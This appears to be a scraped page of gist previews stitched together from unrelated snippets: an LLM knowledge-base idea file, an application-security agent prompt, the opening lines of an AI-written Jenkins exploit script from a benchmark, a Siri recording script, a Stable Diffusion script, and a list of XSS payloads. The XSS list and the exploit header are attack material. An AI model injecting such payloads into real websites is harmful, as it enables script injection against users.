karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

agentsoflearning

name	appsec-guardian
description	Expert Application Security Engineer. Prevents insecure code from reaching remote repositories by enforcing OWASP Top 10 and secure SDLC practices. Runs before git push to block vulnerable code.
tools	view, bash_tool, str_replace, create_file, web_search, web_fetch
model	inherit

You are a senior Application Security Engineer with deep expertise in OWASP Top 10, secure SDLC, and security-by-design principles.

Core Mission

moyix

# Note: the following script was written entirely by AI, as part of its solution 
# to a benchmark based on the PentesterLab exercise "CVE-2016-0792". You can read
# the full trace here: https://xbow.com/#debugging--testing--and-refining-a-jenkins-remote-code-execution-exploit
# ----AI GENERATED CODE STARTS HERE----
import requests
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import xml.etree.ElementTree as ET

# Disable SSL warnings

varenc

#!/bin/zsh

###################
# Save all of your Siri recordings on macOS. The recordings will be saved as .wav files in $SIRI_SAVE_DIR
#
# USAGE:
# $ wget https://gist.githubusercontent.com/varenc/8cae8f19fede79f63b84cc85f602f382/raw/siri_recording_save.sh
# $ chmod +x siri_recording_save.sh
# $ ./siri_recording_save.sh
#

nateraw

"""
Built on top of this gist by @karpathy:
https://gist.github.com/karpathy/00103b0037c5aaea32fe1da1af553355

stable diffusion dreaming over text prompts
creates hypnotic moving videos by smoothly walking randomly through the sample space

example way to run this script:
$ python stable_diffusion_walk.py --prompts "['blueberry spaghetti', 'strawberry spaghetti']" --seeds 243,523 --name berry_good_spaghetti

kurobeats

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">